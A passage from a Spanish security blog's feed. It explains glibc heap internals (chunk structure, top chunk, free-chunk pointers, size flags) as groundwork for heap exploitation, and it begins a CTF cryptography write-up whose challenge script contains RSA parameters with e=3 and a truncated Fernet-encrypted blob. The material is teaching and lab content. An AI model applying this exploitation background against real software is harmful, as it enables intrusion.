<p><a href="https://www.youtube.com/watch?v=s-GJ-buCGio">https://www.youtube.com/watch?v=s-GJ-buCGio</a></p>

<p>Espero que os haya gustado y, lo más importante, que hayáis aprendido.</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Tras haber visto el funcionamiento de las estructuras básicas con las que trabaja malloc(/heap-exploitation-0x01/) (chunks),…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/heap-exploitation-0x02/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/heap-exploitation-0x02/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Heap Exploitation 0x01 | Chunks</title><link href="https://diegoaltf4.com/heap-exploitation-0x01/" rel="alternate" type="text/html" title="Heap Exploitation 0x01 | Chunks" /><published>2022-07-26T13:07:31+00:00</published><updated>2022-07-26T13:07:31+00:00</updated><id>https://diegoaltf4.com/heap-exploitation-0x01</id><content type="html" xml:base="https://diegoaltf4.com/heap-exploitation-0x01/"><![CDATA[<h2 id="qué-es-el-heap">¿Qué es el Heap?</h2>

<p>A diferencia del <em>stack</em>, el <em>heap</em> es una zona de memoria que puede ser asignada de forma dinámica. Podemos asignar y liberar espacio en casi cualquier momento. Es importante saber que, al contrario que el <em>stack</em>, el <em>heap</em> crece hacia direcciones de memoria crecientes.</p>

<p>Para que nos situemos mejor, he creado un pequeño diagrama que intenta reflejar el espacio de direcciones virtuales en Linux. Este diagrama nos va a ser de gran utilidad para que, en cada momento, sepamos dónde nos encontramos y hacia qué zona queremos desplazarnos. No es lo mismo alocar un chunk para sobreescribir el valor de una dirección que se encuentra en “.data” que sobreescribir una función que se encuentra en la GLIBC.</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/VAS.webp" alt="" loading="lazy" /></p>

<p><em>Nota: Las direcciones de memoria que aparecen son ejemplos. No se deben tomar como rangos fijos.</em></p>

<h2 id="malloc-internals">Malloc Internals</h2>

<p>Los chunks son la unidad básica de memoria con la que trabaja <em>Malloc</em>. Están formados por un campo <em>size</em> (8 <em>bytes</em>) y por los datos de usuarios.</p>

<p>Los chunks tienen la siguiente estructura en una arquitectura <em>x86_64:</em></p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/chunk_sin_flags.webp" alt="" loading="lazy" /></p>

<h3 id="allocated-chunks">Allocated Chunks</h3>

<p>Código de ejemplo:</p>

<p class="code-title">Allocated_Chunks_Ex.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="c1"> </span><span class="cp">
</span><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> 
	<span class="kt">char</span> <span class="o">*</span> <span class="n">buf1</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> 
	<span class="kt">char</span> <span class="o">*</span> <span class="n">buf2</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">24</span><span class="p">);</span> 
	<span class="kt">char</span> <span class="o">*</span> <span class="n">buf3</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">25</span><span class="p">);</span> 
	<span class="kt">char</span> <span class="o">*</span> <span class="n">buf4</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">40</span><span class="p">);</span> 
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 
<span class="p">}</span>
</code></pre></div></div>

<p>Vamos a utilizar ese ejemplo para entender mejor el funcionamiento de los chunks.</p>

<p>Comenzamos desensamblando la función main:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/Chunks1.webp" alt="" loading="lazy" /></p>

<p>Ahora vamos a establecer un breakpoint en <em>main + 17</em>. En ese punto es cuando se efectúa la primera llamada a <em>malloc</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b *main+17
</code></pre></div></div>

<p>Ejecutamos el programa y visualizamos los chunks con el comando <em>vis</em>:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/Chunks2.webp" alt="" loading="lazy" /></p>

<p>Como se puede ver, no hay chunks actualmente porque no se ha llegado a efectuar la llamada a <em>malloc</em>.</p>

<p>Continuamos con la ejecución y visualizamos nuevamente los chunks:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/Chunks3.webp" alt="" loading="lazy" /></p>

<p>Ahora sí que tenemos datos sobre el chunk reservado. Vamos a analizarlos:</p>

<p>En el primer <em>malloc</em>, hemos reservado 1 solo byte; sin embargo, GDB nos indica que el chunk tiene un tamaño de 0x20 bytes, es decir, 32 bytes en base decimal. De estos 32 bytes, tan solo 8 se utilizan para indicar el tamaño y los 24 restantes son los que almacenan la información. En consecuencia, el tamaño mínimo (usable) de chunk es de 0x20 bytes, de los cuales 0x18 son de datos.</p>

<p>El tamaño de los chunks se incrementa en múltiplos de 16 bytes (<em>malloc</em> está alineado a 16 bytes). Por tanto, tenemos la siguiente secuencia de tamaños: 0x20, 0x30, 0x40, 0x50, etc.</p>

<p>Por consiguiente, si queremos reservar entre 25 y 40 bytes de datos, el tamaño del chunk será de 0x30.</p>

<p>Veámoslo con el código de ejemplo.</p>

<p>Ahora, vamos a establecer un breakpoint en <em>main + 59</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b *main + 59
</code></pre></div></div>

<p>Arrancamos el programa y visualizamos los chunks:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/Chunks4.webp" alt="" loading="lazy" /></p>

<p>Efectivamente, se reservan 0x30 bytes para cada una de las siguientes líneas:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>char * buf3 = malloc(25);
char * buf4 = malloc(40);
</code></pre></div></div>

<h4 id="top-chunk">Top Chunk</h4>

<p>El <em>top chunk</em> se encuentra en la parte superior del heap. Si se asigna más espacio, se desplaza hacia abajo y da el espacio. Si el chunk se libera, se vuelve a recuperar el espacio.</p>

<p>Vamos a verlo con el mismo ejemplo de antes:</p>

<p>Con el primer <em>malloc</em>, el tamaño del <em>top chunk</em> toma el siguiente valor:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/top_chunk1.webp" alt="" loading="lazy" /></p>

<p>Con el segundo <em>malloc</em>, el tamaño del <em>top chunk</em> toma el siguiente valor:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/top_chunk2.webp" alt="" loading="lazy" /></p>

<p>Como se puede ver el tamaño del <em>top chunk</em> actual <em>0x0000000000020d31 = 0x0000000000020d51 – 0x20</em></p>

<p>Con el tercer malloc, el tamaño del top chunk toma el siguiente valor:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/top_chunk3.webp" alt="" loading="lazy" /></p>

<p><em>0x0000000000020d01 = 0x0000000000020d31 – 0x30</em></p>

<p>Con el tercer malloc, el tamaño del top chunk toma el siguiente valor:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/top_chunk4.webp" alt="" loading="lazy" /></p>

<p><em>0x0000000000020cd1 = 0x0000000000020d01 – 0x30</em></p>

<h3 id="free-chunks">Free Chunks</h3>

<p>Cuando “liberamos” un chunk a través de free, algunos quadwords que antes se utilizaban para almacenar la información del usuario, comienzan a formar parte de la información de malloc.</p>

<p>El campo size se mantiene, pero el primer quadword que contenía información de usuario, se utiliza como <em>forward pointer</em> y el segundo quadword se utiliza como <em>backward pointer</em>. Estos punteros se utilizan para clasificar los chunks en <em>bins</em>. Por tanto, la estructura es similar a la siguiente imagen:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/free_chunk.webp" alt="" loading="lazy" /></p>

<p>Nota: hay más quadwords asociados a los datos del usuario que se reutilizan. Los veremos en más detalle en futuros artículos en los que hablemos sobre <em>bins</em>, pero para los más curiosos, en el <em>malloc.c</em> se define la siguiente estructura:</p>

<p class="code-title">malloc_chunk_struct.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">malloc_chunk</span> <span class="p">{</span>

<span class="n">INTERNAL_SIZE_T</span> <span class="n">mchunk_prev_size</span><span class="p">;</span> <span class="cm">/* Size of previous chunk (if free). */</span>

<span class="n">INTERNAL_SIZE_T</span> <span class="n">mchunk_size</span><span class="p">;</span> <span class="cm">/* Size in bytes, including overhead. */</span>

<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd</span><span class="p">;</span> <span class="cm">/* double links -- used only if free. */</span>

<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk</span><span class="p">;</span>

<span class="cm">/* Only used for large blocks: pointer to next larger size. */</span>

<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">fd_nextsize</span><span class="p">;</span> <span class="cm">/* double links -- used only if free. */</span>

<span class="k">struct</span> <span class="n">malloc_chunk</span><span class="o">*</span> <span class="n">bk_nextsize</span><span class="p">;</span>

<span class="p">};</span>
</code></pre></div></div>

<h3 id="chunks-flags">Chunks Flags</h3>

<p>Dado que los tamaños que reserva <em>malloc</em> siempre terminan en 0, los últimos 3 <em>LSBs</em> del campo <em>size</em> se usan como flags para indicar estados del chunk. Por tanto, los chunks adquieren la siguiente forma:</p>

<p><img class="post-img" src="/assets/posts/heap-exploitation-0x01/chunk_with_flags.webp" alt="" loading="lazy" /></p>

<h4 id="non_main_arena-0x04">NON_MAIN_ARENA (0x04)</h4>

<p>Este bit indica si el chunk <strong>NO</strong> pertenece a la arena principal (main arena).</p>

<h4 id="is_mmapped-0x02">IS_MMAPPED (0x02)</h4>

<p>Este bit indica si el chunk fue <em>alocado</em> usando mmap().</p>

<h4 id="prev_inuse-0x01">PREV_INUSE (0x01)</h4>

<p>Este bit indica si el chunk anterior está en uso. Es importante saber que algunos chunks como los fastbins tienen este bit activado a pesar de haber sido liberados por la aplicación (free).</p>

<p>Para más información podéis consultar la <a href="https://sourceware.org/glibc/wiki/MallocInternals#:~:text=Glibc's%20malloc%20is%20chunk%2Doriented,where%20the%20adjacent%20chunks%20are">wiki de GLIBC</a></p>

<h3 id="referencias">Referencias</h3>

<p>– <a href="https://ir0nstone.gitbook.io/notes/types/heap">https://ir0nstone.gitbook.io/notes/types/heap</a></p>

<p>– <a href="https://guyinatuxedo.github.io/25-heap/index.html">https://guyinatuxedo.github.io/25-heap/index.html</a></p>

<p>– <a href="https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk">https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk</a></p>

<p>– <a href="https://www.youtube.com/watch?v=s-GJ-buCGio">https://www.youtube.com/watch?v=s-GJ-buCGio</a></p>

<p>– <a href="https://heap-exploitation.dhavalkapil.com/">https://heap-exploitation.dhavalkapil.com/</a></p>

<p>Espero que os haya gustado y, lo más importante, que hayáis aprendido.</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[A diferencia del stack, el heap es una zona de memoria que puede ser asignada de forma dinámica. Podemos asignar y liberar espacio en casi cualquier…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/heap-exploitation-0x01/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/heap-exploitation-0x01/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writeup Una Al Mes – Junio 2022</title><link href="https://diegoaltf4.com/writeup-una-al-mes-junio-2022-criptografia/" rel="alternate" type="text/html" title="Writeup Una Al Mes – Junio 2022" /><published>2022-07-20T11:00:05+00:00</published><updated>2022-07-20T11:00:05+00:00</updated><id>https://diegoaltf4.com/writeup-una-al-mes-junio-2022-criptografia</id><content type="html" xml:base="https://diegoaltf4.com/writeup-una-al-mes-junio-2022-criptografia/"><![CDATA[<p>Hoy veremos cómo resolver el nuevo reto de criptografía de la plataforma “Una Al Mes”.</p>

<h3 id="introducción">Introducción:</h3>

<p>En esta ocasión, nos encontramos ante un reto de criptografía y tenemos que conseguir 3 flags.</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam1.webp" alt="" loading="lazy" /></p>

<p>Tan solo nos proporcionan un archivo “.py”, cuyo contenido es:</p>

<p class="code-title">Space_Project_UAM.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#============================================================================#
#============================SPACE TRIP===============================#
#============================================================================#
</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">from</span> <span class="nn">cryptography.fernet</span> <span class="kn">import</span> <span class="n">Fernet</span>
<span class="kn">import</span> <span class="nn">base64</span>

<span class="c1"># GLOBALS --v
</span><span class="n">arcane_loop_trial</span> <span class="o">=</span> <span class="bp">True</span>

<span class="n">planets</span> <span class="o">=</span> <span class="p">{</span>
  <span class="s">"Mercurio"</span><span class="p">:</span> <span class="mf">0.24</span><span class="p">,</span>
  <span class="s">"Venus"</span><span class="p">:</span> <span class="mf">0.62</span><span class="p">,</span>
  <span class="s">"Marte"</span><span class="p">:</span> <span class="mf">1.88</span><span class="p">,</span>
  <span class="s">"Júpiter"</span><span class="p">:</span> <span class="mf">11.86</span><span class="p">,</span>
  <span class="s">"Saturno"</span><span class="p">:</span> <span class="mf">29.46</span><span class="p">,</span>
  <span class="s">"Urano"</span><span class="p">:</span> <span class="mf">84.01</span><span class="p">,</span>
  <span class="s">"Neptuno"</span><span class="p">:</span> <span class="mf">164.8</span><span class="p">,</span>
  
<span class="p">}</span>

<span class="k">def</span> <span class="nf">intro_trial</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">===============================================</span><span class="se">\n\
</span><span class="s">    Bienvenidos a este viaje espacial, SUBAN A BORDO !!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>    
    <span class="k">print</span><span class="p">(</span><span class="s">"Se encuentra en el centro de atención de viajes espaciales"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Aqui podrá consultar las distintas tarifas </span><span class="se">\n\
</span><span class="s">relacionadas con la distancia a su destino. </span><span class="se">\n\
</span><span class="s">Recuerde que para acceder a su ticket necesita introducir su licencia</span><span class="se">\n\
</span><span class="s">=====================================================</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">menu_trial</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"___SPACE TRIP___</span><span class="se">\n\n\
</span><span class="s">Menu:</span><span class="se">\n\
</span><span class="s">(a) Calcular costo de viaje</span><span class="se">\n\
</span><span class="s">(b) [LOCKED] Acceder a ticket de viaje</span><span class="se">\n\
</span><span class="s">(c) Ingresar licencia </span><span class="se">\n\
</span><span class="s">(d) Salid del centro de atención de viajes espaciales"</span><span class="p">)</span>

    <span class="n">option</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Seleccione la opción que más desea (a/b/c/d)? "</span><span class="p">)</span>
    
    <span class="k">if</span> <span class="ow">not</span> <span class="n">validar</span><span class="p">(</span><span class="n">option</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Opción incorrecta!</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
        <span class="k">return</span>
    
    <span class="k">if</span> <span class="n">option</span> <span class="o">==</span> <span class="s">"a"</span><span class="p">:</span>
        <span class="n">precio_viaje</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">option</span> <span class="o">==</span> <span class="s">"b"</span><span class="p">:</span>
        <span class="n">opcion_bloqueada</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">option</span> <span class="o">==</span> <span class="s">"c"</span><span class="p">:</span>
        <span class="n">introducir_licencia</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">option</span> <span class="o">==</span> <span class="s">"d"</span><span class="p">:</span>
        <span class="k">global</span> <span class="n">arcane_loop_trial</span>
        <span class="n">arcane_loop_trial</span> <span class="o">=</span> <span class="bp">False</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Que tenga un buen día!"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Ha seleccionado una opción incorrecta, por favor"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">validar</span><span class="p">(</span><span class="n">opcion_elegida</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">opcion_elegida</span> <span class="o">==</span> <span class="s">"a"</span> <span class="ow">or</span> \
       <span class="n">opcion_elegida</span> <span class="o">==</span> <span class="s">"b"</span> <span class="ow">or</span> \
       <span class="n">opcion_elegida</span> <span class="o">==</span> <span class="s">"c"</span> <span class="ow">or</span> \
       <span class="n">opcion_elegida</span> <span class="o">==</span> <span class="s">"d"</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>

<span class="k">def</span> <span class="nf">precio_viaje</span><span class="p">():</span>
  <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s"> Sitios disponibles para viajar del sistema solar :"</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">planeta</span> <span class="ow">in</span> <span class="n">planets</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">planeta</span><span class="p">)</span>
    
    
  <span class="n">resultado</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Seleccione un sitio que se encuentre disponible: "</span><span class="p">)</span>

  <span class="k">if</span> <span class="n">resultado</span> <span class="ow">in</span> <span class="n">planets</span><span class="p">:</span>
      <span class="n">dist</span> <span class="o">=</span> <span class="n">planets</span><span class="p">[</span><span class="n">resultado</span><span class="p">]</span>
      <span class="n">precio</span> <span class="o">=</span> <span class="p">(</span><span class="n">dist</span> <span class="o">**</span><span class="mi">2</span><span class="p">)</span>
      <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">""El precio de viajar al planeta "</span><span class="o">+</span> <span class="n">resultado</span> <span class="o">+</span> <span class="s">" Situado a una distancia de "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">dist</span><span class="p">)</span><span class="o">+</span> <span class="s">" años luz, sería de "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">precio</span><span class="p">)</span> \
 <span class="o">+</span><span class="s">" gemas del infinito</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
  <span class="k">else</span><span class="p">:</span>
      <span class="c1"># TODO : 
</span>      <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">El planeta seleccionado no se encuentra disponible</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">opcion_bloqueada</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Para acceder a este sitio debe de registrar su licencia</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">introducir_licencia</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Su licencia se encuentra cifrada en RSA"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Datos disponibles:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> N:2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> e: 3"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> c: 1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> pista: la clave contiene un padding, y se encuentra en formato UAM{}"</span><span class="p">)</span>
    <span class="n">user_key</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s"> Introduzca la clave de su licencia contenida dentro del formato UAM{}: "</span><span class="p">)</span>
    <span class="n">user_key</span> <span class="o">=</span> <span class="n">user_key</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>

    <span class="k">global</span> <span class="n">bUsername_trial</span>
    <span class="n">decrypt_full_version</span><span class="p">(</span><span class="n">user_key</span><span class="p">)</span>
    
<span class="c1">#    if check_key(user_key, bUsername_trial):
#        decrypt_full_version(user_key)
#    else:
#        print("\nKey is NOT VALID. Check your data entry.\n\n")
</span>
<span class="k">def</span> <span class="nf">decrypt_full_version</span><span class="p">(</span><span class="n">key_str</span><span class="p">):</span>
    
    

    <span class="k">try</span><span class="p">:</span>
            <span class="k">global</span> <span class="n">encrypted</span>
            <span class="n">key_base64</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">key_str</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
            <span class="n">fernet</span> <span class="o">=</span> <span class="n">Fernet</span><span class="p">(</span><span class="n">key_base64</span><span class="p">)</span>
            <span class="k">global</span> <span class="n">decrypted</span>
            <span class="n">decrypted</span> <span class="o">=</span> <span class="n">fernet</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
            <span class="k">global</span> <span class="n">arcane_loop_trial</span>
            <span class="n">arcane_loop_trial</span> <span class="o">=</span> <span class="bp">False</span>
            <span class="k">global</span> <span class="n">jump_into_full</span>
            <span class="n">jump_into_full</span> <span class="o">=</span> <span class="bp">True</span>
                     

          
    <span class="k">except</span><span class="p">:</span>
    	<span class="k">print</span><span class="p">(</span><span class="s">"Error en el proceso"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">ui_flow</span><span class="p">():</span>
    <span class="n">intro_trial</span><span class="p">()</span>
    <span class="k">while</span> <span class="n">arcane_loop_trial</span><span class="p">:</span>
        <span class="n">menu_trial</span><span class="p">()</span>

<span class="c1"># Encrypted blob of full version
</span><span class="n">encrypted</span> <span class="o">=</span> \
<span class="sa">b</span><span class="s">"""
gAAAAABijJyT-gFmc53LOUxkjHOOitfzmBw7Acq1G0ELe2qcH3vx2U65SdTIw18VKKyge7QgvpSIKnMoj9xHO02OIWvjxunwUprREKlKxcyDwTOYZjG5xu-Oplb7tmaPpkPvOSr72EflAe6o3CWEww5AUuyDbBeZdPZ3anWBft3QAGcB3wV5xKF8D5eELDWM6bFIwLcFEqIMNe85bdutg0fiKdEnpACbtSaYlI7l4mPV9sXXe-ycSHZfk6guhXrthpZnt17EBwS12kgAsnizBmY0n9_OUYJFiWqLt8U1NN4yJS7qRUqWUx3yTznPXODVewghLemGiCHZIxpb9Ftx_wo19FbB_c-xkTSU39wVE2AMoDmI1JyWib6w1MkT_GWcva0h9UXve7AgtBQdp7IVYkrGuIlevk3Ni-xUbISvt_w9WQfiJL8IW28jObwEKA_GaLmbVGQR31nJ9hlqsvwVMXMRN9oAsctW7vOQK_b5bN29Heb6JK3oVra_T-BkFribIA1o1vvW3rJndI3uvlKPlFDwEaF-nsOS0dl_HRpIiZgnFJK_XVGLhc7tL78wOVnvSHHe2psZlewdoB2IRBu6rG66AX-GtHbd56bmOzFOSAd5ydzJuwy14oe_FT-dQ7uJkHqPbae76hHd-bWEIiPQFapHR5YVIFIWiwLUwxRXFDEYUIVgsSZB6nSCX7KxCfY5oGHfW6qUBb8N1QTsMvCEzkgHPcGGg5uD7Tp7BSHR1kXB_kRjPxjO7Tg4gfgARYHKWhqeSs_cRVCvC--vhwER2KCtM3U98QNM7YQi0piNy0C0jpVmFZcd_N1raOUBkt2e-2-fEo1bFzjc6Korl5BpM45eo7FE8JQvi8uCf6PHqcRfh6V_iaBUZfT0kbS6zT7Cf_jEMfPjdyz63M0FtXyAMZlPX8GBFgNL9HnfWsWQTTSY-Nmpz8HsTPmc1G6LymAZC4PfkBnlq8_jxdzfZGO-c9HiuItCYkiTrLbX-XfZM8rmP5SAPQbVKtjvxacyHenhXomtTYFAlsY-nDFkHfpZH-ec3HY-6mH9lO59IT7g5iqIyCTwOlrN0Abv8qoYqGjboSdt3JhRLAfVnXJ7S2iWGEPbzA_ylqIugG-5_nEiWTDmepKyAFWNAtH7cdLUzSF2okmtd8Z7y4lZzSwrpavDarjE86yBJSfCmvqvLMHJLTCVzA8aJdahFOyssL5SaXtKbcJ1rT5nlalDjR7Op1yx_Z1Ae9am338aF1UENFiHWiTufNx4OxThxpYmJ8YA4_qlnKAoFfYQlMjYfF4JUjezS9qfheS_7L8gLwU7STvku7dwjfVbaEv-n7exiwl9Pfwk6u_ln7oiYjQwGcXQZMx6tQgYNWKZMBCkENWcX9yuhqOXxzq-CKrPYG3-Kl9yA7EHBLjs2GwbUKCVu6arm5ChCDEPB7TApcmyUWbGAosjp4bl-LoQCojgDFJmR-Uiialj9q9xRJadyIGQLY73WttyyPQU7I2YTyOnmQxcmQ0FYYNMbFlcvAt1zYc00rWb0mf-jjbvUqqnUS8cvWl0uw1jjY99NVEWaZ3_W8wpePcg2yThBOmCd8H5ye2uqDvz79Fo8JOyTsPs2NB4O53g4kqjQ1oQFMcwFHQh6xmNGixEy6FHS3fzg7kz8Ox3E6YI1TfUxPovEaBGtPeEVvh6J-LL6O7ruNxY3h65qJGlz6i9UifrqIpyn_FR7kUV9ZDRHYNZDY_8VRCa9Z3WS_OBRmyggYWlb2B8MgITe2ndk2BtUIDNHXdxRZ35p6xkGoaqX5OfMkhrR9GJ8wxoWf52V6n0U7Y-NRbpG5-eDAVtF0dt9aEIOhF_lvW8JduHTzBhHQGNg_uFYXB4B7ZHFoYfKfBEaXfpP8csEIWGBOXplE3nr5cDxdI5X2iAzxzb1gtWS3DimmAnmOjPcNBNcU2L28p_u9-OXnMgvoiLMcXqWhPK9Te889Gyst2RUA998cHOGFDUlnMMHdQacQNag-cdvOYUjn5c4L9rXygzTqVSRRsbKNds_2dWBwjAdLINyn0tvSQaFR9N03fUMruKSqhebIj4SXi26vo6E1etfYPujJEaHEqXUk_9hxCCD_npAWIJtkuoRIBKD32zqMXeRxkL4xb1BCar_m30bap8Q-hlA0_4z3hakzjtaYjyHgRXHzMVqknb104DPhDXojg1eKuq9CVr6YdQYa0MfUmedMd2WBmYYdSqIP8z2ZZ8A3VdFa97kkw8FaFtyLfMeeGD1AlIszTD7CVmcuy0rVwnjZY8aYdpTv1VsKpdsUToLbAjXVhRa76LjMOjLrLLTR-7SoPlWloux70SxXuQyec4XgC9NY7o_PqJe8I9HXu1rmmzxKp-2x3WYRUF9dNzqRYmsMhHn0w8WrwvLDBigri314lXjaHYSn9nFj-ajEvPq2S0j6RcGOLsD33eoswdiZuItIERC8O1ZAKuSZDRgbE3si5qkCNro_C1VrKasdIF9rQJh-dEHDZDE6Gdw8o5wS1wyTxYjkexvFExfe5c4iKcP3iTJySAuBI4_Ta4KS-sk-b16HQRCpEwQ5Pz7-eIldSRHZnrLJFafYOcIeHWBg-TnzH2v5bdxPexBQW4WedLAmOv3Yg5IHAGt91wga_kQ8JNeDcpWQ8fsa94v0VL2ULT5VbZLX7nWDRj3EQcMoi0Ct9JCa7GK_vDd1jYm9trL52T1pm9bHgtFfcTbUxytsW8Bj7r1rmn3GPfc__UmTl_POy3iSdWKyHBF4YUg0ds2W2NsZkNds3ZeNLQvhOq7PMcH5uz3e7e_4r7rWH9AMSAEcfQZymGWwxq8p3q5lDC8coA7Jbw9S2_lpgoW6YwWWUBkvfm7IIdfmbHvC2HJD1JLRq-nQ2Tq_KZon5aXF90huY-7XWSV0pkjt2eTonWN56shkC1OUkrLpJbxtls4NIwpQRA0zhmQHywCfE6Z7xDWylYofLzJeuV5PxvsFFYNO3lq1ApqNAcj4YA7WZ9SJEbx3O-kGBNUWpW3I8gpvJPxF7xvNIJrNv2aJaBCDkAQ87o7UEc--v_J_hj0qYcu_CMLpJ